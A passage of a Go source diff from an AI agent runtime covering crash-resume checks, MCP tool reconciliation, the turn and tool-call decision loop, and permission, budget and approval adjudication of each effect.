collectPendingSideEffecting(s) + if len(inDoubt) > 0 || len(pendingEffects) > 0 { + return RunResult{}, &InDoubtError{Activities: inDoubt, Effects: pendingEffects} + } + + // MCP re-connect reconciliation (S5.1): the journaled schemas are the + // run's tool face; the live face must still honor them. Drift is + // refused, never silently absorbed (2.13 version discipline). + if err := l.reconcileMCP(ctx, ds.s); err != nil { + return RunResult{}, err + } + + // Timer sweep: expired pending timers fire now; future ones belong to + // in-flight activities, which re-arm on their re-run. + if _, err := FirePendingTimers(ds.s, l.Clock, appendE); err != nil { + return RunResult{}, err + } + + // A crash between run_started and the materialize completion leaves the + // inputs unwritten — re-run (idempotent: same refs, same bytes). + if err := l.materializeInputs(ctx, ds, appendE); err != nil { + return RunResult{}, err + } + + return l.drive(ctx, ds, appendE) +} + +// reconcileMCP verifies every journaled MCP tool still exists live with the +// same class and schema. Extra live tools are ignored (the journaled face is +// this run's truth); a missing or drifted tool refuses the resume. +func (l *Loop) reconcileMCP(ctx context.Context, s state.State) error { + if len(s.Run.MCPTools) == 0 { + return nil + } + if l.MCP == nil { + return fmt.Errorf("resume: session uses MCP tools but no MCP servers are connected") + } + l.MCP.SetAllowed(l.Spec.AllowedTools) + live, err := l.MCP.Discover(ctx) + if err != nil { + return fmt.Errorf("resume: mcp discovery: %w", err) + } + byName := make(map[string]mcp.DiscoveredTool, len(live)) + for _, t := range live { + byName[t.Name] = t + } + for _, want := range s.Run.MCPTools { + got, ok := byName[want.Name] + if !ok { + return fmt.Errorf("resume: mcp tool %q journaled but not offered by the live server", want.Name) + } + if got.Class != want.Class { + return fmt.Errorf("resume: mcp tool %q class drifted (%s → %s)", want.Name, want.Class, got.Class) + } + if compact(want.InputSchema) != compact(got.InputSchema) { + return fmt.Errorf("resume: mcp tool %q schema drifted from the journaled face", want.Name) + } + } + return nil +} + +// InDoubtError reports non-idempotent activities — and side-effecting +// adjudication windows — whose outcome is unknown. The human inspects +// (agentrunner events) and decides. +type InDoubtError struct { + Activities []event.ActivityStarted + Effects []event.EffectRequested +} + +func (e *InDoubtError) Error() string { + var names []string + for _, a := range e.Activities { + names = append(names, fmt.Sprintf("%s (%s, attempt %d)", a.ActivityID, a.Name, a.Attempt)) + } + for _, eff := range e.Effects { + names = append(names, fmt.Sprintf("%s (mid-adjudication, hooks may have run)", eff.EffectID)) + } + n := len(names) + return fmt.Sprintf("resume: %d item%s in doubt — no terminal state, refusing to re-run: %s", + n, plural(n, " is", "s are"), strings.Join(names, ", ")) +} + +func collectPendingSideEffecting(s state.State) []event.EffectRequested { + // An effect parked at an approval, or already answered, is NOT + // in-doubt: reaching those states proves every side-effecting gate + // (hooks) already completed (correctness #1/#3). + parked := s.AwaitingApprovalEffect() + var out []event.EffectRequested + for id, eff := range s.Effects.Pending { + if !eff.SideEffecting { + continue + } + if id == parked { + continue + } + if _, decided := s.Effects.Decisions[id]; decided { + continue + } + out = append(out, eff) + } + sort.Slice(out, func(i, j int) bool { return out[i].EffectID < out[j].EffectID }) + return out +} + +func plural(n int, one, many string) string { + if n == 1 { + return one + } + return many +} + +func collectInDoubt(s state.State) []event.ActivityStarted { + var out []event.ActivityStarted + for _, a := range s.Activities { + if !a.Idempotent { + out = append(out, a) + } + } + sort.Slice(out, func(i, j int) bool { return out[i].ActivityID < out[j].ActivityID }) + return out +} + +func checkVersions(got map[string]int) error { + want := state.SubStateVersions() + if len(got) != len(want) { + return fmt.Errorf("resume: snapshot sub-state set %v does not match binary %v", got, want) + } + for name, v := range want { + if got[name] != v { + return fmt.Errorf("resume: sub-state %q version %d does not match binary version %d", + name, got[name], v) + } + } + return nil +} + +// drive is the decision loop shared by Run and Resume. +func (l *Loop) drive(ctx context.Context, ds *driveState, appendE AppendFunc) (RunResult, error) { + toolDefs, err := tool.ProviderDefs(l.Spec.Tools) + if err != nil { + return RunResult{}, err + } + // The MCP face comes from the FOLD, not the live manager: what was + // journaled at discovery is what the run advertises — resume gets the + // identical face without re-negotiation (S5.1). + for _, mt := range ds.s.Run.MCPTools { + toolDefs = append(toolDefs, provider.ToolDef{ + Name: mt.Name, Description: mt.Description, InputSchema: mt.InputSchema, + }) + } + // The multi-agent face (S5.3/S5.4): spawn/handoff advertise whenever + // the spec whitelists agents; the blackboard tools whenever the run is + // part of a collaboration (own whitelist, or an inherited board in a + // child). The face must depend on journaled-spec-or-tree facts only — + // resume rebuilds the same face; a missing resolver/board surfaces as a + // model-visible error at execution instead. + var extra []string + if len(l.Spec.Agents) > 0 { + extra = append(extra, "spawn_agent", "handoff_agent") + } + // bash can launch background tasks (S6.1) — the management tools ride + // along so the model can inspect/cancel what it started. + if slices.Contains(l.Spec.Tools, "bash") { + extra = append(extra, "task_output", "task_kill") + } + if l.Board != nil || len(l.Spec.Agents) > 0 { + extra = append(extra, "publish_note", "read_notes") + } + if len(extra) > 0 { + extraDefs, derr := tool.ProviderDefs(extra) + if derr != nil { + return RunResult{}, derr + } + toolDefs = append(toolDefs, extraDefs...) + } + // abort routes a dying run through the same epilogue, best-effort, so + // a failed log is distinguishable from a truncated one. User + // cancellation is its own reason — an interrupted run is not a failed + // one. + abort := func(turn int, cause error) error { + reason := "error" + if errs.ClassOf(cause) == errs.Canceled { + reason = "canceled" + } + _, _ = l.runEpilogue(ctx, ds, appendE, reason, turn, true) + return cause + } + + exec := &ActivityExecutor{Append: appendE, Clock: l.Clock, Redact: redact.FromEnv()} + + // Capability downgrade (S4.7): if the spec asks for thinking but the + // provider can't do it, drop it — explicitly and once, never silently. + var caps provider.Capabilities + if l.Provider != nil { + caps = l.Provider.Capabilities() + } + if l.Spec.Model.Thinking.Enabled && !caps.Thinking { + slog.Warn("provider lacks thinking; downgrading (request will omit thinking config)", + "provider", l.Spec.Model.Provider) + } + + for { + if err := ctx.Err(); err != nil { + return RunResult{}, abort(ds.s.Run.Turn, err) + } + // Finished background tasks settle at the loop's safe point (S6.1): + // their outcomes become user-role inputs before the next decision. + if err := l.drainBackground(appendE); err != nil { + return RunResult{}, abort(ds.s.Run.Turn, err) + } + act := decide(ds.s, l.Spec.MaxTurns, l.Spec.OnRunEnd) + switch act.kind { + case doTurn: + // Turn boundary is the compaction point (S4.5): summarize the + // context before assembling the next turn's request, so the LLM + // call already sees the compacted view. Runs at most once per + // boundary — the fresh summary drops the estimate below the + // threshold, so the next decide() no longer finds it due. + if act.turn > 1 && compactionDue(ds.s, l.Spec) { + if err := l.compactContext(ctx, ds, appendE, exec, act.turn); err != nil { + return RunResult{}, abort(act.turn, err) + } + continue + } + appended, err := appendE(event.TypeTurnStarted, &event.TurnStarted{Turn: act.turn}) + if err != nil { + return RunResult{}, abort(act.turn, err) + } + l.emit(protocol.Event{Kind: protocol.KindTurnStart, Turn: act.turn}) + // Turn boundary: serialize the fold (2.13). The snapshot is an + // optimization — losing it costs a longer fold, nothing else. + if err := store.WriteSnapshot(l.Store.Dir(), appended.Seq, + state.SubStateVersions(), ds.s); err != nil { + return RunResult{}, abort(act.turn, err) + } + + case doLLM: + if outcome, allowed, err := l.adjudicate(ctx, ds, appendE, pipeline.Effect{ + ID: fmt.Sprintf("eff-llm-t%d", act.turn), Kind: "llm_call", + EstTokens: l.Spec.Model.MaxTokens, + Mode: ds.s.CurrentMode(), + Budget: budgetView(ds.s), + }); err != nil { + return RunResult{}, abort(act.turn, err) + } else if !allowed { + // A budget denial ends the run gracefully through the + // epilogue (3.7c) — never mid-effect, never as a crash. + if gate := denyingGate(outcome); gate == "budget" { + used := ds.s.Run.Usage.Billed() + if _, err := appendE(event.TypeLimitExceeded, &event.LimitExceeded{ + Kind: "tokens", Limit: l.Spec.Budget.MaxTotalTokens, Used: used, + }); err != nil { + return RunResult{}, abort(act.turn, err) + } + slog.Warn("token budget exhausted; ending run", "limit", l.Spec.Budget.MaxTotalTokens, "used", used) + return l.runEpilogue(ctx, ds, appendE, "limit_exceeded", act.turn, false) + } + return RunResult{}, abort(act.turn, fmt.Errorf("turn %d: llm call denied by pipeline", act.turn)) + } + actCtx, stopInt := l.interruptScope(ctx) + var turn provider.Turn + var streamed bool // any delta emitted this attempt? + err := exec.Do(actCtx, Activity{ + ID: fmt.Sprintf("llm-t%d", act.turn), Kind: event.KindLLM, + Name: "complete", Idempotent: true, + DiscardOnRetry: func() error { + // A retry after deltas were streamed: tell the surface to + // throw away the partial stream and reopen (TurnDiscarded). + if streamed { + if _, err := appendE(event.TypeTurnDiscarded, &event.TurnDiscarded{ + Turn: act.turn, Reason: "llm retry after partial stream", + }); err != nil { + return err + } + l.emit(protocol.Event{Kind: protocol.KindDiscard, Turn: act.turn, + Text: "partial stream discarded; retrying"}) + streamed = false + } + return nil + }, + Run: func(ctx context.Context) (json.RawMessage, *provider.Usage, bool, error) { + req := Assemble(ds.s, l.Spec, toolDefs, act.turn) + if !caps.Thinking { + req.Thinking = provider.ThinkingConfig{} + } + collected, err := provider.CollectTurnStreaming( + l.Provider.Complete(ctx, req), + func(delta string) { + streamed = true + l.emit(protocol.Event{Kind: protocol.KindTextDelta, Turn: act.turn, Text: delta}) + }) + if err != nil { + return nil, nil, false, err + } + turn = collected + usage := collected.Usage + return nil, &usage, false, nil + }, + }) + if err != nil { + if steered(actCtx) { + stopInt() + if ierr := l.onSteeringInterrupt(appendE, act.turn); ierr != nil { + return RunResult{}, abort(act.turn, ierr) + } + continue // re-decide: turn N has no assistant message → re-run + } + stopInt() + return RunResult{}, abort(act.turn, fmt.Errorf("turn %d: %w", act.turn, err)) + } + stopInt() + + // Malformed tool call (S4.6): the call finished with a tool call + // the provider could not parse. Record it, signal the surface to + // discard the partial stream, and retry the SAME turn (no + // assistant message is journaled, so decide() re-runs the LLM) — + // bounded, then escalated to a user-visible error. + if turn.Finish == provider.FinishMalformedToolCall { + if _, err := appendE(event.TypeMalformedToolCall, &event.MalformedToolCall{ + Turn: act.turn, Raw: assistantText(turn.Message), + Error: "provider could not parse tool call", + }); err != nil { + return RunResult{}, abort(act.turn, err) + } + l.emit(protocol.Event{Kind: protocol.KindDiscard, Turn: act.turn, + Text: "malformed tool call; retrying"}) + if ds.s.Run.MalformedRetries > maxMalformedRetries { + l.emit(protocol.Event{Kind: protocol.KindError, Turn: act.turn, + Text: "model repeatedly returned malformed tool calls; giving up"}) + return l.runEpilogue(ctx, ds, appendE, "malformed_tool_call", act.turn, false) + } + continue + } + + if _, err := appendE(event.TypeAssistantMessage, &event.AssistantMessage{ + Turn: act.turn, Message: turn.Message, + }); err != nil { + return RunResult{}, abort(act.turn, err) + } + if text := assistantText(turn.Message); text != "" { + l.emit(protocol.Event{Kind: protocol.KindMessage, Turn: act.turn, Text: text}) + } + + // Blocked/safety finish (S4.6): the assistant text (if any) is + // preserved above, but the model stopped for a policy reason — + // surface a user-visible error and end the run gracefully. + if turn.Finish == provider.FinishOther || turn.Finish == provider.FinishBlocked { + l.emit(protocol.Event{Kind: protocol.KindError, Turn: act.turn, + Text: "model stopped for a safety or policy reason (blocked)"}) + return l.runEpilogue(ctx, ds, appendE, "blocked", act.turn, false) + } + + case doTool: + if err := l.doTools(ctx, ds, appendE, abort, act); err != nil { + return RunResult{}, err + } + case doWaitTasks: + // The park is an EXPLICIT state (DESIGN: 挂起是显式状态,本身是 + // event; S6 review P0): WaitingEntered/Resolved bracket the wait + // so projections and reconciliation can see it. The bracket is + // sequenced by this goroutine — decide() never observes the open + // waiting state. + if _, err := appendE(event.TypeWaitingEntered, &event.WaitingEntered{ + Kind: event.WaitTasks, + }); err != nil { + return RunResult{}, abort(act.turn, err) + } + resolution, err := l.awaitBackground(ctx, appendE, act.turn) + if err != nil { + return RunResult{}, abort(act.turn, err) + } + if _, err := appendE(event.TypeWaitingResolved, &event.WaitingResolved{ + Kind: event.WaitTasks, Resolution: resolution, + }); err != nil { + return RunResult{}, abort(act.turn, err) + } + continue + case doWait: + // A parked approval (fresh or resumed across a crash) re-enters + // the same await path: the request payload lives in the fold's + // Waiting.Detail. Other wait kinds have no resolver until their + // stage (input S4, tasks/timer S6). + if ds.s.Waiting.Kind == event.WaitApproval { + var req event.ApprovalRequested + if err := json.Unmarshal(ds.s.Waiting.Detail, &req); err != nil { + return RunResult{}, abort(ds.s.Run.Turn, fmt.Errorf("waiting_approval detail: %w", err)) + } + if _, err := l.awaitApproval(ctx, ds, appendE, req); err != nil { + return RunResult{}, abort(ds.s.Run.Turn, err) + } + continue + } + return RunResult{}, fmt.Errorf("session is waiting for %s; no resolver available yet", ds.s.Waiting.Kind) + + case doEnd: + if act.reason == "max_turns" { + slog.Warn("run hit max_turns", "max_turns", l.Spec.MaxTurns) + } + res, err := l.runEpilogue(ctx, ds, appendE, act.reason, act.turn, false) + l.emit(protocol.Event{Kind: protocol.KindRunEnd, Reason: res.Reason, Turn: res.Turns}) + return res, err + } + } +} + +// doTools runs one assistant turn's tool calls (S4.3). It is two-phase: +// +// 1. Adjudicate every call SERIALLY — asks park inline on the resolver, so +// a turn's multiple asks are approved one at a time (no multi-prompt +// race), and each allow's budget reservation is folded before the next +// adjudication reads the budget (reserve-then-settle stays correct under +// the fold, no TOCTOU — this is why adjudication is not parallelized). +// 2. Execute the allow-verdict calls CONCURRENTLY. The fold is single- +// threaded, so every concurrent journal write funnels through one +// mutex-serialized appendE (the S4.3 core invariant); terminal events +// therefore land in arrival order, and assembly reorders results by the +// assistant message's call_id sequence. One interruptScope covers the +// whole batch. +// +// Returns nil to continue the drive loop, or the (already-epilogued) abort +// error to stop it. +func (l *Loop) doTools(ctx context.Context, ds *driveState, appendE AppendFunc, + abort func(int, error) error, act action) error { + + // Phase 1 — serial adjudication. + type pending struct { + call provider.ToolCall + res *tool.Result + allowance int // spawn only: the frozen min-aggregated child budget + } + var allowed []pending + // batchSpawns counts spawns allowed THIS batch: SpawnRequested only + // lands at execution, so the gate would otherwise see a stale count + // for the second spawn of one turn (fan-out TOCTOU). handoffAllowed + // makes control transfer EXCLUSIVE: once a handoff passes, no further + // agent launch in the same turn may run (S5 review — two successors + // would otherwise execute concurrently). + batchSpawns := 0 + handoffAllowed := false + for _, call := range act.calls { + l.emit(protocol.Event{Kind: protocol.KindToolCall, Turn: act.turn, + Tool: call.Name, CallID: call.CallID, Args: compact(call.Args)}) + class := toolClassIn(ds.s, call.Name) + eff := pipeline.Effect{ + ID: toolEffectID(call.CallID), Kind: "tool_call", + ToolName: call.Name, Class: class, + Args: call.Args, CallID: call.CallID, + Mode: ds.s.CurrentMode(), + EstTokens: pipeline.EstTokensForClass(class), + Budget: budgetView(ds.s), + } + allowance := 0 + if isAgentLaunch(call.Name) { + // Spawn and handoff both launch a child run (S5.3/S5.4): the + // effect reserves the child's WHOLE allowance up front (min + // aggregation) and feeds the tree caps to the spawn gate. An + // unresolvable target keeps the class default; execution + // reports the problem to the model. + eff.SpawnDepth = l.Depth + eff.SpawnCount = ds.s.Run.Spawns + batchSpawns + eff.HandoffPending = handoffAllowed + if _, _, childSpec, problem := l.resolveSpawnTarget(call.Name, call.Args); problem == "" { + allowance = l.spawnAllowance(ds.s, childSpec) + eff.EstTokens = allowance + } + } + outcome, ok, err := l.adjudicate(ctx, ds, appendE, eff) + if err != nil { + return abort(act.turn, err) + } + if !ok { + // The denial was journaled as the call's resolution (the fold + // writes the model-visible error); nothing executes. + dr := deniedResult(outcome) + l.emit(protocol.Event{Kind: protocol.KindToolResult, Turn: act.turn, + Tool: call.Name, CallID: call.CallID, Result: compact(dr.Payload), IsError: true}) + continue + } + if isAgentLaunch(call.Name) { + batchSpawns++ + if call.Name == "handoff_agent" { + handoffAllowed = true + } + } + allowed = append(allowed, pending{call: call, res: new(tool.Result), allowance: allowance}) + } + if len(allowed) == 0 { + return nil + } + + // Phase 2 — concurrent execution behind one serialized write path. + actCtx, stopInt := l.interruptScope(ctx) + var mu sync.Mutex + serialAppend := func(typ string, payload any) (event.Envelope, error) { + mu.Lock() + defer mu.Unlock() + return appendE(typ, payload) + } + execP := &ActivityExecutor{Append: serialAppend, Clock: l.Clock, Redact: redact.FromEnv()} + errsOut := make([]error, len(allowed)) + // Activities are BUILT on this goroutine (their config reads ds.s, which + // the concurrent serialAppend mutates) and only RUN concurrently. Spawn + // closures journal through serialAppend and capture the parent's live + // mode NOW — frozen-at-spawn semantics. + parentMode := ds.s.CurrentMode() + tasksSnapshot := ds.s.Tasks + acts := make([]Activity, 0, len(allowed)) + actIdx := make([]int, 0, len(allowed)) + for i, p := range allowed { + // Background launches never join the batch (S6.1): the handle pairs + // the call via the Started fold, the work outlives this turn, and + // the terminal settles later at a drive-loop safe point. The task + // context is the RUN's, not the batch's interrupt scope. + if isBackgroundCall(p.call.Name, p.call.Args) { + if err := l.launchBackground(ctx, serialAppend, p.call.CallID, p.call.Name, p.call.Args); err != nil { + stopInt() + return abort(act.turn, err) + } + if tr, ok := ds.s.Conversation.ToolResults[p.call.CallID]; ok { + l.emit(protocol.Event{Kind: protocol.KindToolResult, Turn: act.turn, + Tool: p.call.Name, CallID: p.call.CallID, Result: compact(tr.Result)}) + } + continue + } + run := l.buildToolRun(p.call, p.res) + if isAgentLaunch(p.call.Name) { + run = l.buildSpawnRun(p.call, p.res, serialAppend, p.allowance, parentMode) + } + if p.call.Name == "publish_artifact" { + run = l.buildPublishRun(p.call, p.res, serialAppend) + } + if isTaskTool(p.call.Name) { + // Task tools read the fold snapshot taken NOW, on the drive + // goroutine — the closure runs on an activity goroutine while + // serialAppend mutates ds.s. + call := p.call + res := p.res + run = func(context.Context) (json.RawMessage, *provider.Usage, bool, error) { + *res = l.runTaskTool(tasksSnapshot, call.Name, call.Args) + return res.Payload, nil, res.IsError, nil + } + } + acts = append(acts, Activity{ + ID: "tool-" + p.call.CallID, Kind: event.KindTool, + Name: p.call.Name, Args: p.call.Args, CallID: p.call.CallID, + Idempotent: toolIdempotentIn(ds.s, p.call.Name), + Timeout: toolTimeoutIn(ds.s, p.call.Name), + Run: run, + PostRun: l.buildPostRun(p.call), + }) + actIdx = append(actIdx, i) + } + var wg sync.WaitGroup + for j := range acts { + wg.Add(1) + go func(j int) { + defer wg.Done() + errsOut[actIdx[j]] = execP.Do(actCtx, acts[j]) + }(j) + } + wg.Wait() + stopInt() + + // All goroutines joined: ds.s is safe to read again. Process outcomes in + // call order (surface ordering; the journal already holds arrival order). + interrupted := steered(actCtx) + for i, p := range allowed { + err := errsOut[i] + if err == nil { + l.emit(protocol.Event{Kind: protocol.KindToolResult, Turn: act.turn, + Tool: p.call.Name, CallID: p.call.CallID, + Result: compact(p.res.Payload), IsError: p.res.IsError}) + continue + } + if interrupted { + // A steering interrupt cancelled the whole batch: each cancelled + // call already rendered [interrupted by user] in the fold. Emit it + // and continue — the interrupt itself is journaled once, below. + if tr, ok := ds.s.Conversation.ToolResults[p.call.CallID]; ok { + l.emit(protocol.Event{Kind: protocol.KindToolResult, Turn: act.turn, + Tool: p.call.Name, CallID: p.call.CallID, + Result: compact(tr.Result), IsError: true}) + } + continue + } + // A terminally-failed tool whose call resolved in the fold (rendered + // error result) is model-visible: the loop continues and the model + // reacts. Cancellation and harness failures still abort. + if tr, resolved := ds.s.Conversation.ToolResults[p.call.CallID]; resolved && + errs.ClassOf(err) != errs.Canceled { + l.emit(protocol.Event{Kind: protocol.KindToolResult, Turn: act.turn, + Tool: p.call.Name, CallID: p.call.CallID, + Result: compact(tr.Result), IsError: true}) + continue + } + return abort(act.turn, fmt.Errorf("turn %d: %s: %w", act.turn, p.call.Name, err)) + } + if interrupted { + if ierr := l.onSteeringInterrupt(appendE, act.turn); ierr != nil { + return abort(act.turn, ierr) + } + } + return nil +} + +// buildToolRun is the per-call Run closure, writing its outcome into *res. +// exit_plan_mode is a harness-level transition: the approved mode change IS +// the effect, so it has no executor call. +func (l *Loop) buildToolRun(call provider.ToolCall, res *tool.Result) func(context.Context) (json.RawMessage, *provider.Usage, bool, error) { + if call.Name == "exit_plan_mode" { + return func(context.Context) (json.RawMessage, *provider.Usage, bool, error) { + *res = tool.Result{Payload: json.RawMessage( + `{"output":"plan approved; now in default mode"}`)} + return res.Payload, nil, false, nil + } + } + // Blackboard tools (S5.4) act on the tree-shared board; a missing board + // (e.g. a resumed run before any collaboration) is model-visible. + if call.Name == "publish_note" || call.Name == "read_notes" { + return func(context.Context) (json.RawMessage, *provider.Usage, bool, error) { + *res = l.runBlackboardTool(call.Name, call.Args) + return res.Payload, nil, res.IsError, nil + } + } + // mcp__ calls dispatch to the out-of-band MCP face (S5.1). A tool-level + // IsError is a model-visible result; a transport error is an activity + // failure (retry policy applies, final failure renders for the model). + // With no manager connected the call falls through to the executor, + // whose unknown-tool error is equally model-visible. + if l.MCP != nil && strings.HasPrefix(call.Name, "mcp__") { + return func(ctx context.Context) (json.RawMessage, *provider.Usage, bool, error) { + payload, isErr, err := l.MCP.Call(ctx, call.Name, call.Args) + if err != nil { + return nil, nil, false, err + } + *res = tool.Result{Payload: payload, IsError: isErr} + return res.Payload, nil, res.IsError, nil + } + } + return func(ctx context.Context) (json.RawMessage, *provider.Usage, bool, error) { + *res = l.Exec.Execute(ctx, call.Name, call.Args) + return res.Payload, nil, res.IsError, nil + } +} + +// buildPostRun wires post-tool hooks (3.8) for a call, or nil when none. +func (l *Loop) buildPostRun(call provider.ToolCall) func(context.Context, json.RawMessage, bool) string { + if l.Hooks == nil || len(l.Hooks.PostTool) == 0 { + return nil + } + return func(ctx context.Context, result json.RawMessage, isError bool) string { + notes := l.Hooks.RunPost(ctx, hook.PostInput{ + ToolName: call.Name, CallID: call.CallID, + Result: result, IsError: isError, + }) + return strings.Join(notes, "; ") + } +} + +// action kinds for decide. +const ( + doTurn = iota // journal TurnStarted for action.turn + doLLM // run the LLM activity for action.turn + doTool // run action.call + doEnd // journal RunEnded with action.reason + doWait // parked: the wait must resolve before anything else + doWaitTasks // parked on background tasks (S6.1): settle one, re-decide +) + +type action struct { + kind int + turn int + // calls carries EVERY unresolved tool call of the current assistant turn + // (S4.3): the allow-verdict ones execute concurrently. One call is the + // common case; the slice degenerates to it without a separate path. + calls []provider.ToolCall + reason string +} + +// decide is THE loop policy: given only the fold state (plus the spec +// constants maxTurns and onRunEnd, fixed for the run), what happens next. +// Resume re-enters here with the same state and therefore the same answer. +func decide(s state.State, maxTurns int, onRunEnd string) action { + if s.Waiting != nil { + return action{kind: doWait, turn: s.Run.Turn} + } + turn := s.Run.Turn + if turn == 0 { + return action{kind: doTurn, turn: 1} + } + assistants := assistantMessages(s) + if len(assistants) < turn { + return action{kind: doLLM, turn: turn} + } + calls := toolCallsOf(assistants[len(assistants)-1]) + if len(calls) == 0 { + // Natural ending: the model produced no tool calls. With live + // background tasks, on_run_end decides (S6.1): await parks in + // WAITING_TASKS (2.14) until a task completes and its outcome + // re-enters as a user-role message; the default (cancel) ends now + // and the epilogue quiesce cancels the stragglers (fire-and-forget). + if len(s.Tasks) > 0 && onRunEnd == "await" { + return action{kind: doWaitTasks, turn: turn} + } + // A user-role input that arrived AFTER the model's last message — + // a settled task's outcome (DESIGN: 完成时结果以新的 user-role 消息 + // 进入 loop,下一 turn 可见) — deserves a turn before the run ends + // (S6 review: without this the awaited outcome never reached the + // model). Bounded by max_turns like every turn. + if turn < maxTurns && hasInputAfterLastAssistant(s) { + return action{kind: doTurn, turn: turn + 1} + } + return action{kind: doEnd, turn: turn, reason: "completed"} + } + var unresolved []provider.ToolCall + for _, c := range calls { + if _, done := s.Conversation.ToolResults[c.CallID]; !done { + unresolved = append(unresolved, c) + } + } + if len(unresolved) > 0 { + return action{kind: doTool, turn: turn, calls: unresolved} + } + // A completed successful handoff ends the run (S5.4): control moved to + // the successor, this agent does not act again. A denied/failed handoff + // resolves as an error result and the loop continues normally. + for _, c := range calls { + if c.Name == "handoff_agent" { + if tr, ok := s.Conversation.ToolResults[c.CallID]; ok && !tr.IsError { + return action{kind: doEnd, turn: turn, reason: "handoff"} + } + } + } + // A forced ending (max_turns) delegates any live background tasks to the + // epilogue quiesce slot, which honors on_run_end (cancel or silent + // await) — the loop never parks waiting on a straggler at a forced end + // the way a natural await ending does (S6.1). + if turn >= maxTurns { + return action{kind: doEnd, turn: turn, reason: "max_turns"} + } + return action{kind: doTurn, turn: turn + 1} +} + +// marshalPermissionLayers renders the pipeline's permission gates as ordered +// rule layers (outermost first). Empty-rule gates carry only mode defaults — +// identical for every gate of the run — so they add no layer; a pipeline +// with NO rules still marshals an explicit empty array: the journaled field +// must always exist for a run that had a pipeline, so resume takes the +// frozen-layers path instead of re-merging LIVE config (S6 review: config +// drift between run and resume must never widen a rule-less run). nil only +// when there was no pipeline at all. +func marshalPermissionLayers(p *pipeline.Pipeline) json.RawMessage { + if p == nil { + return nil + } + layers := [][]pipeline.PermissionRule{} + for _, g := range p.Gates { + if pg, ok := g.(*pipeline.PermissionGate); ok && len(pg.Rules) > 0 { + layers = append(layers, pg.Rules) + } + } + raw, err := json.Marshal(layers) + if err != nil { + return nil + } + return raw +} + +// isAgentLaunch reports whether a tool launches a child run (spawn keeps +// control and awaits; handoff transfers control and ends the caller). +func isAgentLaunch(name string) bool { + return name == "spawn_agent" || name == "handoff_agent" +} + +// ensureBoard creates the shared blackboard at a collaboration root (S5.4); +// children inherit the parent's through childLoop. +func (l *Loop) ensureBoard() { + if l.Board == nil && len(l.Spec.Agents) > 0 { + l.Board = blackboard.New() + l.Board.Mirror = l.BoardMirror + } +} + +// ensureApprovals pins ONE fallback resolver for the whole tree: the +// AGENTRUNNER_APPROVE answer-sequence position is resolver state, so a +// per-ask instance would replay the first answer forever (S6 还债③). +func (l *Loop) ensureApprovals() { + if l.Approvals == nil { + l.Approvals = &EnvApprovals{} + } +} + +// hasInputAfterLastAssistant reports a user-role message newer than the +// model's last message — pending input the model has not seen. +func hasInputAfterLastAssistant(s state.State) bool { + msgs := s.Conversation.Messages + for i := len(msgs) - 1; i >= 0; i-- { + switch msgs[i].Role { + case provider.RoleAssistant: + return false + case provider.RoleUser: + return true + } + } + return false +} + +func assistantMessages(s state.State) []provider.Message { + var out []provider.Message + for _, m := range s.Conversation.Messages { + if m.Role == provider.RoleAssistant { + out = append(out, m) + } + } + return out +} + +func toolCallsOf(m provider.Message) []provider.ToolCall { + var out []provider.ToolCall + for _, p := range m.Parts { + if p.Kind == provider.PartToolCall { + out = append(out, provider.ToolCall{CallID: p.CallID, Name: p.ToolName, Args: p.Args}) + } + } + return out +} + +// adjudicate runs the effect through the pipeline and journals the +// resolution — allow or deny — AFTER adjudication, BEFORE execution. An +// ask verdict downgrades to deny until the 3.5 approval flow exists (the +// downgrade is itself recorded as a gate result, never silent). +func (l *Loop) adjudicate(ctx context.Context, ds *driveState, appendE AppendFunc, eff pipeline.Effect) (pipeline.Outcome, bool, error) { + // Already resolved allow (e.g. approval granted, then crash before the + // activity's terminal event): never re-ask, never re-journal. + if ds.s.Effects.Allowed[eff.ID] { + return pipeline.Outcome{Verdict: event.VerdictAllow}, true, nil + } + // The human already answered this approval before a crash (the decision + // is durable from the moment ApprovalResponded was journaled): resolve + // from the recorded answer instead of re-asking (correctness #1/#3). + if dec, ok := ds.s.Effects.Decisions[eff.ID]; ok { + allowed, err := l.resolveFromDecision(appendE, eff, dec) + return pipeline.Outcome{Verdict: verdictFor(dec)}, allowed, err + } + if _, err := appendE(event.TypeEffectRequested, &event.EffectRequested{ + EffectID: eff.ID, CallID: eff.CallID, + SideEffecting: l.Pipeline.SideEffecting(), + }); err != nil { + return pipeline.Outcome{}, false, err + } + outcome, err := l.Pipeline.Evaluate(ctx, eff) + if err != nil { + return outcome, false, err + } + crash.Point(crash.PointBetweenGateAndResolved) + if outcome.Verdict == event.VerdictAsk { + allowed, err := l.requestApproval(ctx, ds, appendE, eff, outcome) + return outcome, allowed, err + } + reserved := 0 + if outcome.Verdict == event.VerdictAllow { + reserved = eff.EstTokens + } + if _, err := appendE(event.TypeEffectResolved, &event.EffectResolved{ + EffectID: eff.ID, CallID: eff.CallID, + Verdict: outcome.Verdict, GateResults: outcome.GateResults, + ReservedTokens: reserved, + }); err != nil { + return outcome, false, err + } + return outcome, outcome.Verdict == event.VerdictAllow, nil +} + +func verdictFor(decision string) string { + if decision == "approve" { + return event.VerdictAllow + } + return event.VerdictDeny +} + +// resolveFromDecision journals the EffectResolved implied by a durable +// approval answer, without re-prompting. Used only on the recovery path. +func (l *Loop) resolveFromDecision(appendE AppendFunc, eff pipeline.Effect, decision string) (bool, error) { + approved := decision == "approve" + verdict, gate := event.VerdictDeny, event.VerdictDeny + reason := "recovered denial" + reserved := 0 + if approved { + verdict, gate = event.VerdictAllow, event.VerdictAllow + reason = "recovered approval" + reserved = eff.EstTokens + } + _, err := appendE(event.TypeEffectResolved, &event.EffectResolved{ + EffectID: eff.ID, CallID: eff.CallID, Verdict: verdict, + GateResults: []event.GateResult{{Gate: "approval", Decision: gate, Reason: reason}}, + ReservedTokens: reserved, + }) + return approved, err +} + +// budgetView snapshots the fold's accounting for the budget gate. +func budgetView(s state.State) pipeline.BudgetView { + return pipeline.BudgetView{ + SettledTokens: s.Run.Usage.Billed(), + ReservedTokens: s.Budget.ReservedTotal(), + } +} + +// denyingGate names the gate that produced the deny, if any. +func denyingGate(outcome pipeline.Outcome) string { + for _, r := range outcome.GateResults { + if r.Decision == event.VerdictDeny { + return r.Gate + } + } + return "" +} + +func deniedResult(outcome pipeline.Outcome) tool.Result { + payload, _ := json.Marshal(map[string]string{"error": "denied by policy"}) + for _, r := range outcome.GateResults { + if r.Decision == event.VerdictDeny { + payload, _ = json.Marshal(map[string]string{"error": "denied: " + r.Reason}) + break + } + } + return tool.Result{Payload: payload, IsError: true} +} + +// toolClassIn resolves a tool's permission class from the built-in registry +// or, for mcp__ names, from the fold's journaled MCP face (S5.1). Unknown +// names return "" and every consumer fails closed on it. +func toolClassIn(s 